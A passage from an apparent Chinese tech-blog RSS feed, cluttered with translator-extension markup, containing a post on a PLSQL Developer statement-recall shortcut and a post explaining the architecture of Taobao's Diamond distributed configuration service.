pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div> <div><div id="SL_button" class="ImTranslatorLogo"></div><div id="SL_shadow_translation_result2"></div><div id="SL_shadow_translator"><div id="SL_planshet"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result"></div><div id="SL_bbl_donate" title="Make a small contribution"></div><div id="SL_Balloon_options"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421323.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:44 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421323.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PLSQL Developer鲜为人知的快捷键</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421320.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:40:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421320.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421320.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421320.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421320.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421320.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">注释：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　使用PLSQL Developer的朋友们是否有遇到如下情况</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9312; 不小心关闭了有用的窗口；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9313; 有意义的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">sql</strong></u></a>前几分钟不用了且关闭的情况；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9314; PLSQL Developer界面中其中1个session 死掉了不得不关闭时，再重新开启点击恢复会话后可能不会和之前场景一摸一摸时；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如上的情况都可以通过如下快捷键进行恢复.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Ctrl+E【default】 &nbsp;==&gt; Edit / Recall Statement</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">显示结果：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49933" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412090947011ITST.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　选中任意一行 双击 直接进入源编辑界面.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　更改该快捷键步骤：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　PLSQL Developer --&gt; tools --&gt; preferences --&gt; key configuration</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421320.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:40 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421320.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>淘宝分布式配置管理服务Diamond</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421319.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:39:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421319.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421319.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421319.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421319.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421319.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　在一个<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">分布式</strong></u></a>环境中，同类型的服务往往会部署很多实例。这些实例使用了一些配置，为了更好地维护这些配置就产生了<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">配置管理</strong></u></a>服务。通过这个服务可以轻松地管理这些应用服务的配置问题。应用场景可概括为：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49934" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412091106331YxFu.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　zookeeper的一种应用就是分布式配置管理(基于ZooKeeper的配置信息存储方案的设计与实现)。<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">百度</strong></u></a>也有类似的实现：disconf。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Diamond则是淘宝开源的一种分布式配置管理服务的实现。Diamond本质上是一个Java写的Web应用，其对外提供接口都是基于HTTP协议的，在阅读代码时可以从实现各个接口的controller入手。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">分布式配置管理</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　分布式配置管理的本质基本上就是一种推送-订阅模式的运用。配置的应用方是订阅者，配置管理服务则是推送方。概括为下图：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49935" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412091106332HNiZ.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　其中，客户端包括管理人员publish数据到配置管理服务，可以理解为添加/更新数据；配置管理服务notify数据到订阅者，可以理解为推送。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　配置管理服务往往会封装一个客户端库，应用方则是基于该库与配置管理服务进行交互。在实际实现时，客户端库可能是主动拉取(pull)数据，但对于应用方而言，一般是一种事件通知方式。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Diamond中的数据是简单的key-value结构。应用方订阅数据则是基于key来订阅，未订阅的数据当然不会被推送。数据从类型上又划分为聚合和非聚合。因为数据推送者可能很多，在整个分布式环境中，可能有多个推送者在推送相同key的数据，这些数据如果是聚合的，那么所有这些推送者推送的数据会被合并在一起；反之如果是非聚合的，则会出现覆盖。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　数据的来源可能是人工通过管理端录入，也可能是其他服务通过配置管理服务的推送接口自动录入。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">架构及实现</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Diamond服务是一个集群，是一个去除了单点的协作集群。如图：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49936" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;"><font color="#45a2fc"><span style="line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412091106333RgbV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></span></font><br /></a><a href="http://www.51testing.com/batch.download.php?aid=49936" target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><strong style="word-break: break-all; line-height: normal !important;">服务之间同步</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　Diamond服务集群每一个实例都可以对外完整地提供服务，那么意味着每个实例上都有整个集群维护的数据。Diamond有两种方式保证这一点：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　任何一个实例都有其他实例的地址；任何一个实例上的数据变更时，都会将改变的数据同步到mysql上，然后通知其他所有实例从mysql上进行一次数据拉取(DumpService::dump)，这个过程只拉取改变了的数据</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　任何一个实例启动后都会以较长的时间间隔（几小时），从mysql进行一次全量的数据拉取(DumpAllProcessor)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　实现上为了一致性，通知其他实例实际上也包含自己。以服务器收到添加聚合数据为例，处理过程大致为：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">DatumController::addDatum // /datum.do?method=addDatum</div><div style="word-break: break-all; margin: 10px 0px;">PersistService::addAggrConfigInfo</div><div style="word-break: break-all; margin: 10px 0px;">MergeDatumService::addMergeTask // 添加一个MergeDataTask，异步处理</div><div style="word-break: break-all; margin: 10px 0px;">MergeTaskProcessor::process</div><div style="word-break: break-all; margin: 10px 0px;">PersistService::insertOrUpdate</div><div style="word-break: break-all; margin: 10px 0px;">EventDispatcher.fireEvent(new ConfigDataChangeEvent // 派发一个ConfigDataChangeEvent事件</div><div style="word-break: break-all; margin: 10px 0px;">NotifyService::onEvent // 接收事件并处理</div><div style="word-break: break-all; margin: 10px 0px;">TaskManager::addTask(..., new NotifyTask // 由此，当数据发生变动，则最终创建了一个NoticyTask</div><div style="word-break: break-all; margin: 10px 0px;">// NotifyTask同样异步处理</div><div style="word-break: break-all; margin: 10px 0px;">NotifyTaskProcessor::process</div><div style="word-break: break-all; margin: 10px 0px;">foreach server in serverList // 包含自己</div><div style="word-break: break-all; margin: 10px 0px;">notifyToDump // 调用 /notify.do?method=notifyConfigInfo 从mysql更新变动的数据</div><div style="word-break: break-all; margin: 10px 0px;">DatumController::addDatum // /datum.do?method=addDatum</div><div style="word-break: break-all; margin: 10px 0px;">PersistService::addAggrConfigInfo</div><div style="word-break: break-all; margin: 10px 0px;">MergeDatumService::addMergeTask // 添加一个MergeDataTask，异步处理</div><div style="word-break: break-all; margin: 10px 0px;">MergeTaskProcessor::process</div><div style="word-break: break-all; margin: 10px 0px;">PersistService::insertOrUpdate</div><div style="word-break: break-all; margin: 10px 0px;">EventDispatcher.fireEvent(new ConfigDataChangeEvent // 派发一个ConfigDataChangeEvent事件</div><div style="word-break: break-all; margin: 10px 0px;">NotifyService::onEvent // 接收事件并处理</div><div style="word-break: break-all; margin: 10px 0px;">TaskManager::addTask(..., new NotifyTask // 由此，当数据发生变动，则最终创建了一个NoticyTask</div><div style="word-break: break-all; margin: 10px 0px;">// NotifyTask同样异步处理</div><div style="word-break: break-all; margin: 10px 0px;">NotifyTaskProcessor::process</div><div style="word-break: break-all; margin: 10px 0px;">foreach server in serverList // 包含自己</div><div style="word-break: break-all; margin: 10px 0px;">notifyToDump // 调用 /notify.do?method=notifyConfigInfo 从mysql更新变动的数据</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　虽然Diamond去除了单点问题，不过问题都下降到了mysql上。但由于其作为配置管理的定位，其数据量就mysql的应用而言算小的了，所以可以一定程度上保证整个服务的可用性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　<strong style="word-break: break-all; line-height: normal !important;">　数据一致性</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　由于Diamond服务器没有master，任何一个实例都可以读写数据，那么针对同一个key的数据则可能面临冲突。这里应该是通过mysql来保证数据的一致性。每一次客户端请求写数据时，Diamond都将写请求投递给mysql，然后通知集群内所有Diamond实例（包括自己）从mysql拉取数据。当然，拉取数据则可能不是每一次写入都能拉出来，也就是最终一致性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　Diamond中没有把数据放入内存，但会放到本地文件。对于客户端的读操作而言，则是直接返回本地文件里的数据。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　<strong style="word-break: break-all; line-height: normal !important;">服务实例列表</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　Diamond服务实例列表是一份静态数据，直接将每个实例的地址存放在一个web server上。无论是Diamond服务还是客户端都从该web server上取出实例列表。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　对于客户端而言，当其取出了该列表后，则是随机选择一个节点(ServerListManager.java)，以后的请求都会发往该节点。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　<strong style="word-break: break-all; line-height: normal !important;">数据同步</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　客户端库中以固定时间间隔从服务器拉取数据(ClientWorker::ClientWorker，ClientWorker::checkServerConfigInfo)。只有应用方关心的数据才可能被拉取。另外，为了数据推送的及时，Diamond还使用了一种long polling的技术，其实也是为了突破HTTP协议的局限性。如果整个服务是基于TCP的自定义协议，客户端与服务器保持长连接则没有这些问题。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　<strong style="word-break: break-all; line-height: normal !important;">数据的变更</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　Diamond中很多操作都会检查数据是否发生了变化。标识数据变化则是基于数据对应的MD5值来实现的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><strong style="word-break: break-all; line-height: normal !important;">　　容灾</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　在整个Diamond系统中，几个角色为了提高容灾性，都有自己的缓存，概括为下图：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=49937" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412091106334aZ4u.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　每一个角色出问题时，都可以尽量保证客户端对应用层提供服务。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; text-align: left; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　图中可分为以下部分讲解：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: 